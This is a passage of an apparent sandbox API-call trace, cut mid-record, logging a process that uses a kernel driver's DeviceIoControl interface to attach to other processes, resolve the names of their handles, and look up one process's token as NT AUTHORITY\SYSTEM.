ReturnLength=0xfffff88004f09550) returned 0x0 [0104.235] ObfDereferenceObject (Object=0xfffffa8003b68070) returned 0x2 [0104.235] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.235] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.235] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.235] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0104.235] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.235] PsAcquireProcessExitSynchronization () returned 0x0 [0104.235] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0) [0104.235] ObReferenceObjectByHandle (in: Handle=0x590, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003b68b30, HandleInformation=0x0) returned 0x0 [0104.235] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.235] PsReleaseProcessExitSynchronization () returned 0x2 [0104.235] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0104.235] ObQueryNameString (in: Object=0xfffffa8003b68b30, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.235] ObfDereferenceObject (Object=0xfffffa8003b68b30) returned 0x1 [0104.235] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.235] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.235] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.235] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0104.235] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.235] PsAcquireProcessExitSynchronization () returned 0x0 [0104.235] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0) [0104.236] ObReferenceObjectByHandle (in: Handle=0x5d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0104.236] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.236] PsReleaseProcessExitSynchronization () returned 0x2 [0104.236] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0104.236] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.236] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0104.236] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.236] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.236] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.236] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0104.236] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.236] PsAcquireProcessExitSynchronization () returned 0x0 [0104.236] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0) [0104.236] ObReferenceObjectByHandle (in: Handle=0x670, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f8b590, HandleInformation=0x0) returned 0x0 [0104.236] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.236] PsReleaseProcessExitSynchronization () returned 0x2 [0104.236] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0104.236] ObQueryNameString (in: Object=0xfffffa8002f8b590, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.236] ObfDereferenceObject (Object=0xfffffa8002f8b590) returned 0x4 [0104.236] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.236] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.236] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.236] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x56, lpOverlapped=0x0) returned 1 [0104.236] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.236] PsAcquireProcessExitSynchronization () returned 0x0 [0104.236] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0) [0104.236] ObReferenceObjectByHandle (in: Handle=0x684, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003575ea0, HandleInformation=0x0) returned 0x0 [0104.236] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.236] PsReleaseProcessExitSynchronization () returned 0x2 [0104.236] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0104.236] ObQueryNameString (in: Object=0xfffffa8003575ea0, ObjectNameInfo=0xfffffa80024f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.237] ObfDereferenceObject (Object=0xfffffa8003575ea0) returned 0x2 [0104.237] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.237] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.237] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.237] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0104.237] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.237] PsAcquireProcessExitSynchronization () returned 0x0 [0104.237] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0) [0104.237] ObReferenceObjectByHandle (in: Handle=0x6ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800321a890, HandleInformation=0x0) returned 0x0 [0104.237] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.237] PsReleaseProcessExitSynchronization () returned 0x2 [0104.237] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0104.237] ObQueryNameString (in: Object=0xfffffa80027268b0, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.237] ObfDereferenceObject (Object=0xfffffa800321a890) returned 0x1 [0104.237] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.237] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.237] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.237] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0104.237] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.237] PsAcquireProcessExitSynchronization () returned 0x0 [0104.237] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0) [0104.237] ObReferenceObjectByHandle (in: Handle=0x6cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003469300, HandleInformation=0x0) returned 0x0 [0104.237] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.237] PsReleaseProcessExitSynchronization () returned 0x2 [0104.237] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0104.237] ObQueryNameString (in: Object=0xfffffa8003469300, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.237] ObfDereferenceObject (Object=0xfffffa8003469300) returned 0x11 [0104.237] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.237] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.238] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.238] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.238] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.238] PsAcquireProcessExitSynchronization () returned 0x0 [0104.238] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff88004f095d0) [0104.238] ObReferenceObjectByHandle (in: Handle=0x738, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800dbff6c0, HandleInformation=0x0) returned 0x0 [0104.238] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.238] PsReleaseProcessExitSynchronization () returned 0x2 [0104.238] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0104.238] ObQueryNameString (in: Object=0xfffffa800dbff6c0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.238] ObfDereferenceObject (Object=0xfffffa800dbff6c0) returned 0x1 [0104.238] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.238] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.238] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x370) returned 0xc0 [0104.238] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.238] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa800315cb30, HandleInformation=0x0) returned 0x0 [0104.238] ObOpenObjectByPointer (in: Object=0xfffffa800315cb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009f0) returned 0x0 [0104.238] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f2 [0104.238] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009f0, DesiredAccess=0x8, TokenHandle=0xfffffa800399eb40 | out: TokenHandle=0xfffffa800399eb40*=0xc8) returned 0x0 [0104.238] ZwClose (Handle=0xffffffff800009f0) returned 0x0 [0104.238] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.238] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.238] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.319] CloseHandle (hObject=0xc8) returned 1 [0104.319] CloseHandle (hObject=0xc0) returned 1 [0104.319] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.319] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0104.319] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.320] PsAcquireProcessExitSynchronization () returned 0x0 [0104.320] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.320] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003175900, HandleInformation=0x0) returned 0x0 [0104.320] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.320] PsReleaseProcessExitSynchronization () returned 0x2 [0104.320] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.320] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.320] ObfDereferenceObject (Object=0xfffffa8003175900) returned 0x1 [0104.320] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.320] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.320] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.320] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0104.320] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.320] PsAcquireProcessExitSynchronization () returned 0x0 [0104.320] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.320] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800317e850, HandleInformation=0x0) returned 0x0 [0104.320] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.320] PsReleaseProcessExitSynchronization () returned 0x2 [0104.320] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.320] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.320] ObfDereferenceObject (Object=0xfffffa800317e850) returned 0x1 [0104.320] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.320] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.320] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.320] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0104.320] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.320] PsAcquireProcessExitSynchronization () returned 0x0 [0104.320] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.320] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f7fc80, HandleInformation=0x0) returned 0x0 [0104.320] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.321] PsReleaseProcessExitSynchronization () returned 0x2 [0104.321] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.321] ObQueryNameString (in: Object=0xfffffa8002f7fc80, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.321] ObfDereferenceObject (Object=0xfffffa8002f7fc80) returned 0x2 [0104.321] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.321] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.321] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.321] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.321] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.321] PsAcquireProcessExitSynchronization () returned 0x0 [0104.321] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.321] ObReferenceObjectByHandle (in: Handle=0x180, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.321] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.321] PsReleaseProcessExitSynchronization () returned 0x2 [0104.321] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.321] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.321] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0104.321] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.321] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.321] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.321] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0104.321] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.321] PsAcquireProcessExitSynchronization () returned 0x0 [0104.321] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.321] ObReferenceObjectByHandle (in: Handle=0x210, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0010a0bd0, HandleInformation=0x0) returned 0x0 [0104.321] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.321] PsReleaseProcessExitSynchronization () returned 0x2 [0104.321] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.321] ObQueryNameString (in: Object=0xfffff8a0010a0bd0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.321] ObfDereferenceObject (Object=0xfffff8a0010a0bd0) returned 0x2 [0104.321] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.322] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.322] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.322] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0104.322] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.322] PsAcquireProcessExitSynchronization () returned 0x0 [0104.322] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.322] ObReferenceObjectByHandle (in: Handle=0x290, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0104.322] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.322] PsReleaseProcessExitSynchronization () returned 0x2 [0104.322] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.322] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.322] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0104.322] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.322] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.322] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.322] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.322] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.322] PsAcquireProcessExitSynchronization () returned 0x0 [0104.322] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.322] ObReferenceObjectByHandle (in: Handle=0x2d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.322] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.322] PsReleaseProcessExitSynchronization () returned 0x2 [0104.322] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.322] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.322] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0104.322] IofCompleteRequest 